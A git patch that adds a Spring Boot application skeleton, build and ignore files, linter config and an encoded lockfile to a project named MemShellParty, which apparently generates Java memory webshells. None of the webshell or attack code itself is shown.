From ec42992c8a2230ad9ebb8f4f5f4f23e12882c9bb Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 8 Dec 2024 16:59:18 +0800 Subject: [PATCH] feat: add boot and webui --- boot/.gitattributes | 3 + boot/.gitignore | 37 ++ boot/build.gradle | 40 ++ .../javaweb/boot/BootApplication.java | 16 + boot/src/main/resources/application.yaml | 3 + .../javaweb/boot/BootApplicationTests.java | 13 + settings.gradle | 3 +- web/.gitignore | 18 + web/biome.json | 45 ++ web/bun.lockb | Bin 0 -> 142071 bytes web/components.json | 21 + web/index.html | 14 + web/package.json | 47 ++ web/postcss.config.js | 6 + web/public/vite.svg | 18 + web/src/components/code-viewer.tsx | 78 +++ web/src/components/main-config-card.tsx | 106 ++++ web/src/components/mode-toggle.tsx | 31 ++ web/src/components/package-config-card.tsx | 86 ++++ web/src/components/shell-config-card.tsx | 78 +++ web/src/components/shell-result.tsx | 482 ++++++++++++++++++ web/src/components/tailwind-indicator.tsx | 12 + web/src/components/theme-provider.tsx | 73 +++ web/src/components/ui/alert.tsx | 49 ++ web/src/components/ui/button.tsx | 50 ++ web/src/components/ui/card.tsx | 55 ++ web/src/components/ui/checkbox.tsx | 26 + web/src/components/ui/dropdown-menu.tsx | 186 +++++++ web/src/components/ui/input.tsx | 22 + web/src/components/ui/label.tsx | 21 + web/src/components/ui/radio-group.tsx | 38 ++ web/src/components/ui/select.tsx | 150 ++++++ web/src/components/ui/switch.tsx | 27 + web/src/components/ui/tabs.tsx | 53 ++ web/src/components/ui/textarea.tsx | 21 + web/src/index.css | 66 +++ web/src/lib/utils.ts | 6 + web/src/main.tsx | 24 + web/src/routeTree.gen.ts | 88 ++++ web/src/routes/__root.tsx | 56 ++ web/src/routes/index.tsx | 30 ++ web/tailwind.config.js | 67 +++ web/tsconfig.app.json | 25 + web/tsconfig.json | 19 + web/tsconfig.node.json | 18 + web/vite.config.ts | 14 + 46 files changed, 2340 insertions(+), 1 deletion(-) create mode 100644 boot/.gitattributes create mode 100644 boot/.gitignore create mode 100644 boot/build.gradle create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java create mode 100644 boot/src/main/resources/application.yaml create mode 100644 boot/src/test/java/com/reajason/javaweb/boot/BootApplicationTests.java create mode 100644 web/.gitignore create mode 100644 web/biome.json create mode 100755 web/bun.lockb create mode 100644 web/components.json create mode 100644 web/index.html create mode 100644 web/package.json create mode 100644 web/postcss.config.js create mode 100644 web/public/vite.svg create mode 100644 web/src/components/code-viewer.tsx create mode 100644 web/src/components/main-config-card.tsx create mode 100644 web/src/components/mode-toggle.tsx create mode 100644 web/src/components/package-config-card.tsx create mode 100644 web/src/components/shell-config-card.tsx create mode 100644 web/src/components/shell-result.tsx create mode 100644 web/src/components/tailwind-indicator.tsx create mode 100644 web/src/components/theme-provider.tsx create mode 100644 web/src/components/ui/alert.tsx create mode 100644 web/src/components/ui/button.tsx create mode 100644 web/src/components/ui/card.tsx create mode 100644 web/src/components/ui/checkbox.tsx create mode 100644 web/src/components/ui/dropdown-menu.tsx create mode 100644 web/src/components/ui/input.tsx create mode 100644 web/src/components/ui/label.tsx create mode 100644 web/src/components/ui/radio-group.tsx create mode 100644 web/src/components/ui/select.tsx create mode 100644 web/src/components/ui/switch.tsx create mode 100644 web/src/components/ui/tabs.tsx create mode 100644 web/src/components/ui/textarea.tsx create mode 100644 web/src/index.css create mode 100644 web/src/lib/utils.ts create mode 100644 web/src/main.tsx create mode 100644 web/src/routeTree.gen.ts create mode 100644 web/src/routes/__root.tsx create mode 100644 web/src/routes/index.tsx create mode 100644 web/tailwind.config.js create mode 100644 web/tsconfig.app.json create mode 100644 web/tsconfig.json create mode 100644 web/tsconfig.node.json create mode 100644 web/vite.config.ts diff --git a/boot/.gitattributes b/boot/.gitattributes new file mode 100644 index 00000000..8af972cd --- /dev/null +++ b/boot/.gitattributes @@ -0,0 +1,3 @@ +/gradlew text eol=lf +*.bat text eol=crlf +*.jar binary diff --git a/boot/.gitignore b/boot/.gitignore new file mode 100644 index 00000000..c2065bc2 --- /dev/null +++ b/boot/.gitignore @@ -0,0 +1,37 @@ +HELP.md +.gradle +build/ +!gradle/wrapper/gradle-wrapper.jar +!**/src/main/**/build/ +!**/src/test/**/build/ + +### STS ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache +bin/ +!**/src/main/**/bin/ +!**/src/test/**/bin/ + +### IntelliJ IDEA ### +.idea +*.iws +*.iml +*.ipr +out/ +!**/src/main/**/out/ +!**/src/test/**/out/ + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ + +### VS Code ### +.vscode/ diff --git a/boot/build.gradle b/boot/build.gradle new file mode 100644 index 00000000..17d9b6d6 --- /dev/null +++ b/boot/build.gradle @@ -0,0 +1,40 @@ +plugins { + id 'java' + id 'org.springframework.boot' version '3.4.0' + id 'io.spring.dependency-management' version '1.1.6' +} + +group = 'com.reajason.javaweb' +version = '0.0.1-SNAPSHOT' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +configurations { + compileOnly { + extendsFrom annotationProcessor + } +} + +repositories { + mavenCentral() +} + +dependencies { + implementation project(":generator") + implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' + implementation 'org.springframework.boot:spring-boot-starter-web' + compileOnly 'org.projectlombok:lombok' + developmentOnly 'org.springframework.boot:spring-boot-devtools' + annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor' + annotationProcessor 'org.projectlombok:lombok' + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testRuntimeOnly 'org.junit.platform:junit-platform-launcher' +} + +tasks.named('test') { + useJUnitPlatform() +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java new file mode 100644 index 00000000..f6851bf7 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +/** + * @author ReaJason + */ +@SpringBootApplication +public class BootApplication { + + public static void main(String[] args) { + SpringApplication.run(BootApplication.class, args); + } + +} diff --git a/boot/src/main/resources/application.yaml b/boot/src/main/resources/application.yaml new file mode 100644 index 00000000..e445f56e --- /dev/null +++ b/boot/src/main/resources/application.yaml @@ -0,0 +1,3 @@ +spring: + application: + name: boot \ No newline at end of file diff --git a/boot/src/test/java/com/reajason/javaweb/boot/BootApplicationTests.java b/boot/src/test/java/com/reajason/javaweb/boot/BootApplicationTests.java new file mode 100644 index 00000000..6fbac005 --- /dev/null +++ b/boot/src/test/java/com/reajason/javaweb/boot/BootApplicationTests.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.boot; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class BootApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/settings.gradle b/settings.gradle index ce3e1bdc..f8801b53 100644 --- a/settings.gradle +++ b/settings.gradle @@ -3,4 +3,5 @@ rootProject.name = 'MemShellParty' include 'generator' include 'vul-webapp' include 'vul-webapp-jakarta' -include 'integration-test' \ No newline at end of file +include 'integration-test' +include 'boot' \ No newline at end of file diff --git a/web/.gitignore b/web/.gitignore new file mode 100644 index 00000000..ed335a7b --- /dev/null +++ b/web/.gitignore @@ -0,0 +1,18 @@ +# Local +.DS_Store +*.local +*.log* + +# Dist +node_modules +dist/ +.vinxi +.output +.vercel +.netlify +.wrangler + +# IDE +.vscode/* +!.vscode/extensions.json +.idea diff --git a/web/biome.json b/web/biome.json new file mode 100644 index 00000000..b4d33365 --- /dev/null +++ b/web/biome.json @@ -0,0 +1,45 @@ +{ + "$schema": "https://biomejs.dev/schemas/1.9.3/schema.json", + "vcs": { + "enabled": true, + "clientKind": "git", + "useIgnoreFile": true, + "defaultBranch": "master" + }, + "linter": { + "enabled": true, + "rules": { + "suspicious": { + "noExplicitAny": "off" + }, + "style": { + "useImportType": "off" + }, + "recommended": true, + "a11y": { + "noSvgWithoutTitle": "off" + }, + "correctness": { + "noUnusedVariables": "warn", + "noUnusedImports": "warn" + } + }, + "ignore": ["node_modules", "tsconfig*", "dist", "components/ui/**"] + }, + "formatter": { + "indentStyle": "space", + "indentWidth": 2, + "enabled": true, + "lineWidth": 100, + "ignore": ["node_modules", "tsconfig*", "dist"] + }, + "organizeImports": { + "enabled": true, + "ignore": ["node_modules", "dist", "components/ui/**"] + }, + "javascript": { + "formatter": { + "quoteStyle": "double" + } + } +} diff --git a/web/bun.lockb b/web/bun.lockb new file mode 100755 index 0000000000000000000000000000000000000000..fc542c72e3c51942b1e701c7a8a9f74b15c61515 GIT binary patch literal 142071 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 